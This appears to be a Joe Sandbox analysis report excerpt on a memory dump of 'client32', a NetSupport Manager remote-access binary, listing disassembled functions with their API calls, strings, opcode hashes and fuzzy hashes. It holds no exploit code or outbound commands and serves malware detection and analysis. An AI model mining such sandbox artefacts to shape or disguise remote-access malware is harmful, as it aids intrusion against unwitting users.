vector<T> too long, xrefs: 1115B950

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argument_memmovestd::_
String ID: vector<T> too long
API String ID: 1785806476-3788999226
Opcode ID: 985b4cd0e0fd15946b68da0742ad1020d4f93cb3bda519e3b04a38a12266c9a7
Instruction ID: 9bd9c4d6588b1437e362be7874788b73cfe0ef9cc3fbeba8d3f25e101c44f04d
Opcode Fuzzy Hash: 985b4cd0e0fd15946b68da0742ad1020d4f93cb3bda519e3b04a38a12266c9a7
Instruction Fuzzy Hash: 360152B56006069FD754CE6DDD808ABF7EDEF843543548A2DE5AA87644EA70B804CBA0

Function 1100B560 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMON

Download Yara Rule

Strings

Error. preventing capbuf overflow, xrefs: 1100B596
Error. NULL capbuf, xrefs: 1100B571

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID:
String ID: Error. NULL capbuf$Error. preventing capbuf overflow
API String ID: 0-3856134272
Opcode ID: 1f0c2c9f5a07f47820da7e35dc7bdef2141c31e2dc16fbdf152bb29d9c040303
Instruction ID: 72194ce60bb210f9c79eab4ff39d038ff42eb9fd150cdda041a13f8a69250570
Opcode Fuzzy Hash: 1f0c2c9f5a07f47820da7e35dc7bdef2141c31e2dc16fbdf152bb29d9c040303
Instruction Fuzzy Hash: DA01DBBEE0060997DB10CE65E840ADBB398DBC037DF04897AFA1E93501E671F5918792

Function 110D12F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 41COMMON

Download Yara Rule

APIs

wvsprintfA.USER32(?,?,00000000), ref: 110D1322

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

pszBuffer[1024]==0, xrefs: 110D133A
..\CTL32\NSMString.cpp, xrefs: 110D1335

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMessageProcesswsprintfwvsprintf
String ID: ..\CTL32\NSMString.cpp$pszBuffer[1024]==0
API String ID: 175691280-2052047905
Opcode ID: 5efc2b1b499c19e22c0b11ea56c1799b84258173eef5baac531c406e2266982d
Instruction ID: 2d49a6c718824c4fb39b7936eb355b27ab8e956fb5db8f47369f869790572c39
Opcode Fuzzy Hash: 5efc2b1b499c19e22c0b11ea56c1799b84258173eef5baac531c406e2266982d
Instruction Fuzzy Hash: 91F0F979B0021D6BCB01DFA4DC50BFEBBFC9B45208F044099EA04A7240DE706A05C7A5

Function 110D1370 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

wvsprintfA.USER32(?,?,1102C511), ref: 110D139B

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

pszBuffer[1024]==0, xrefs: 110D13B3
..\CTL32\NSMString.cpp, xrefs: 110D13AE

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMessageProcesswsprintfwvsprintf
String ID: ..\CTL32\NSMString.cpp$pszBuffer[1024]==0
API String ID: 175691280-2052047905
Opcode ID: 7dd045176ee68b653aa13a97f0e759d1521d44633953b37ee1248efe406da090
Instruction ID: 95fe0cd820de1796fd70713afb7a02e85a0165c228f84a05359d3cb2f5b90ec5
Opcode Fuzzy Hash: 7dd045176ee68b653aa13a97f0e759d1521d44633953b37ee1248efe406da090
Instruction Fuzzy Hash: 4FF0A47AA0025CBBCB00DEA5DD40BEEFBBD9B45248F044199E608A7140DE706A45C7A5

Function 1109D3F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,ConvertStringSecurityDescriptorToSecurityDescriptorA), ref: 1109D404
SetLastError.KERNEL32(00000078,00000000,?,1109E29C,S:(ML;;NW;;;LW),00000001,?,00000000), ref: 1109D42D

Strings

ConvertStringSecurityDescriptorToSecurityDescriptorA, xrefs: 1109D3FE

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressErrorLastProc
String ID: ConvertStringSecurityDescriptorToSecurityDescriptorA
API String ID: 199729137-262600717
Opcode ID: 72b6cad3dfc85a2363e3c34f7b358bf502283420fca47eee65f37d335c1a72b0
Instruction ID: e717ac8c1df76163528922924e3c5170e1254239c9623c731bd739b822e2347b
Opcode Fuzzy Hash: 72b6cad3dfc85a2363e3c34f7b358bf502283420fca47eee65f37d335c1a72b0
Instruction Fuzzy Hash: C2F05E72A55228AFD724DFA4E844A97B7E8EB48720F00451AF95597240C670FC14DBA0

Function 11029170 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 29threadCOMMON

Download Yara Rule

APIs

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

CreateThread.KERNEL32(00000000,00000000,11026ED0,00000000,00000000,00000000), ref: 110291BE

Strings

*TapiFixPeriod, xrefs: 11029187
Bridge, xrefs: 1102918C

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CreateThread__wcstoi64
String ID: *TapiFixPeriod$Bridge
API String ID: 1152747075-2058455932
Opcode ID: 455249c5f577f5bc371cc96f4979fefb060ee84a49910c717fadbdf2b24322f5
Instruction ID: bf80e38bc05b38b2fab7e3f27e0d367de778c9bee9065702c43ca09430eaf323
Opcode Fuzzy Hash: 455249c5f577f5bc371cc96f4979fefb060ee84a49910c717fadbdf2b24322f5
Instruction Fuzzy Hash: 60F0E57074532D7EFB11DAD6CC45F79B6989300B08FA0003DF528551C8E6B1B9008766

Function 110B7560 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

Part of subcall function 11089280: UnhookWindowsHookEx.USER32(?), ref: 110892A3

timeBeginPeriod.WINMM(00000001), ref: 110B757B

Part of subcall function 1110F340: SetEvent.KERNEL32(00000000,?,1102C44F), ref: 1110F364

Part of subcall function 110B73D0: WaitForSingleObject.KERNEL32(?,000000FA,_debug,TraceScrape,00000000,00000000,00000000,?), ref: 110B743D

Part of subcall function 1110F370: SetEvent.KERNEL32(?,?,1102C684), ref: 1110F37B
Part of subcall function 1110F370: PulseEvent.KERNEL32(00000244,?,1102C684), ref: 1110F38E

timeEndPeriod.WINMM(00000001), ref: 110B75A3

Strings

NewScrape, xrefs: 110B7565

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Event$Periodtime$BeginHookObjectPulseSingleUnhookWaitWindows
String ID: NewScrape
API String ID: 763200252-2412895908
Opcode ID: de42278bc56ea97f1e20319eeeaea94f0896c36f1bac89ca636dde1399dfcb8b
Instruction ID: d9652ef4dfce3f1deb2d45d2e06c41885c7f0c79012b27388722acfe2186896e
Opcode Fuzzy Hash: de42278bc56ea97f1e20319eeeaea94f0896c36f1bac89ca636dde1399dfcb8b
Instruction Fuzzy Hash: 32E0D83EF442262BC60467B15809B8E7655CBC4B3DF040035EE169B2C1DEA5750082F6

Function 110315D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,ProcessIdToSessionId), ref: 110315E4
SetLastError.KERNEL32(00000078), ref: 11031605

Strings

ProcessIdToSessionId, xrefs: 110315DE

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressErrorLastProc
String ID: ProcessIdToSessionId
API String ID: 199729137-2164408197
Opcode ID: f7a1def3124ffcfffc56662f94baa37b17619e2ce7444324a9edd23d403945c4
Instruction ID: 6759eee5a1a8deb63c28aa2665d99d796cda851c3525b31e6fff9c11b2a2cde5
Opcode Fuzzy Hash: f7a1def3124ffcfffc56662f94baa37b17619e2ce7444324a9edd23d403945c4
Instruction Fuzzy Hash: 5FE06572A54228AFD714DFB5D844A97F7E8EB5C722F00852AE95597240C670E844CFD0

Function 11001080 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageA.USER32(?,?,?,?,?), ref: 110010B7

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11001091
m_hWnd, xrefs: 11001096

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$ErrorExitItemLastProcessSendwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 2046328329-2830328467
Opcode ID: 870a264c4857fd7c20b43c7043125336c03270db109b755264ed45be6d9d6118
Instruction ID: 77f34a7b6d351dc7c2bdf78fd4e91b5ab9e9d0feae3f5383371c0572f9fc60e5
Opcode Fuzzy Hash: 870a264c4857fd7c20b43c7043125336c03270db109b755264ed45be6d9d6118
Instruction Fuzzy Hash: 98E01ABA71025DBFD714CE95EC81EE7B3ACEB48364F008529FA2997640D6B0E85087A1

Function 11001040 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,?,?,?), ref: 11001073

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11001051
m_hWnd, xrefs: 11001056

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$ErrorExitLastProcessSendwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 819365019-2830328467
Opcode ID: 46c3cce5aab5cc82a9d8ff0d4253417d22b235869f514457b0a8909ae4eb1d0c
Instruction ID: cf35a841ff9db8a25d072bdd62e9da3c8eef3a8b3e547f8f1cf52fd96b7d4918
Opcode Fuzzy Hash: 46c3cce5aab5cc82a9d8ff0d4253417d22b235869f514457b0a8909ae4eb1d0c
Instruction Fuzzy Hash: 3CE04FB570021DABD310CA95DC85ED7B39CEB54354F008429F92887600D6B0F89087A0

Function 110010D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23windowCOMMON

Download Yara Rule

APIs

PostMessageA.USER32(?,?,?,?), ref: 11001103

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110010E1
m_hWnd, xrefs: 110010E6

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$ErrorExitLastPostProcesswsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 906220102-2830328467
Opcode ID: 27df700c695a826ec584c3a5c6c16cda0f02aa3721c02321218cde4e7ec8e80e
Instruction ID: e326bc5325dc434b8864e09602644acab64ba33727794dfa8c4f249b36814fc9
Opcode Fuzzy Hash: 27df700c695a826ec584c3a5c6c16cda0f02aa3721c02321218cde4e7ec8e80e
Instruction Fuzzy Hash: 81E04FB970025DAFD314CA95DC45ED6B3ACEB54764F008429F92887600DA70F84087A0

Function 110154A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23timeCOMMON

Download Yara Rule

APIs

KillTimer.USER32(?,?), ref: 110154CB

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110154B1
m_hWnd, xrefs: 110154B6

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
